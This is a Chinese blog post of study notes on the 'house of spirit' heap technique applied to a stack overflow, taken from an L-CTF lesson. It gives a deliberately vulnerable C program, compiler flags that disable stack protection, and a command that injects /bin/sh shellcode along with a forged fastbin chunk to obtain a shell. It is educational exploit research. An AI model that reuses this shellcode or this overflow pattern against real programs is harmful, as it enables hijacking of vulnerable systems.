【溢出利用技巧】house of spirit friendly stack overflow
2016-10-09 09:44
351 查看
学习了一下L-CTF中介绍的一个栈溢出利用技巧,记录一下。
样例代码如下:
编译命令如下:
局部变量的内存分布如下:
样例代码如下:
/* * blackngel's vulnerable program slightly modified by gb_master */ #include <stdio.h> #include <string.h> #include <stdlib.h> void fvuln(char *str1, int age) { char *ptr1, name[32]; int local_age; char *ptr2; local_age = age; ptr1 = (char *) malloc(256); printf("\nPTR1 = [ %p ]", ptr1); strcpy(name, str1); printf("\nPTR1 = [ %p ]\n", ptr1); free(ptr1); ptr2 = (char *) malloc(40); snprintf(ptr2, 40-1, "%s is %d years old", name, local_age); printf("\n%s\n", ptr2); } int main(int argc, char *argv[]) { int pad[10] = {0, 0, 0, 0, 0, 0, 0, 10, 0, 0}; if (argc == 3) fvuln(argv[1], atoi(argv[2])); return 0; }
编译命令如下:
gcc hos.c -m32 -fno-stack-protector -mpreferred-stack-boundary=2 -mno-accumulate-outgoing-args -z execstack -o hosUbuntu 14 Server里编译需要安装一下开发包,否则会报错sys/cdefs.h文件找不到:
sudo apt-get install libc6-dev-i386这里关键思路是:通过溢出修改局部变量的地址为栈中的一个地址,将伪造地址中的size字段设置成一个fastbin的有效大小,以便能成功将其free,后面的malloc将把此块内存重新申请并使用,snprintf函数再向其中写入数据,从而可以覆盖函数返回地址,最终getshell。
局部变量的内存分布如下:
0xffffd03c name 0xffffd05c ptr2 0xffffd060 ptr1 0xffffd064 local_age样例测试命令如下:
./hos `python -c 'import sys; sys.stdout.write("\x31\xc0\xeb\x14\x44\xd0\xff\xff\x6a\x0b\x58\x31\xf6\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\xcd\x80\x90" + "\x01\x01\x01\x68\xd0\xFF\xFF" + "\x30")'` 48这里有点问题,通过GDB调试可以getshell,直接执行则报段错误:
相关文章推荐
- 【JVM类加载】以及占内存溢出StackOverflowError、堆内存溢出OutOfMemoryError
- An unhandled exception of type 'System.StackOverflowException'
- 调优JVM内存,并解决OutOfMemoryError,StackOverflowError等异常问题
- OutOfMemoryError与StackOverFlowError
- 理解StackOverflowError与OutOfMemoryError
- 编写各种outofmemory/stackoverflow程序
- 执行foreach时出现An unhandled exception of type 'System.StackOverflowException' occurred in mscorlib.dll的错误查解
- StackOverflowError 和 OutOfMemoryError
- JAVA内存学习1——玩一玩StackOverFlowError和OutOfMemoryError
- StackOverflowError&OutOfMemoryError区别
- Defeating the Stack Based Buffer Overflow Prevention Mechanism of Microsoft Windows 2003 Server
- 调优JVM内存,并解决OutOfMemoryError,StackOverflowError等异常问题
- List of free available programming books From stackoverflow
- 调优JVM内存,并解决OutOfMemoryError,StackOverflowError等异常问题
- JVM学习之两种异常StackOverflowError和OutOfMemoryError产生的原因
- 调优JVM内纯,并解决OutOfMemoryError,StackOverflowError等异常问题
- 网页故障“死循环”(stack overflow at line0)栈溢出
- 调优JVM内存,并解决OutOfMemoryError,StackOverflowError等异常问题
- 递归错误之栈溢出Exception in thread "main" java.lang.StackOverflowError
- StackOverflowError 和 OutOfMemoryError 的区别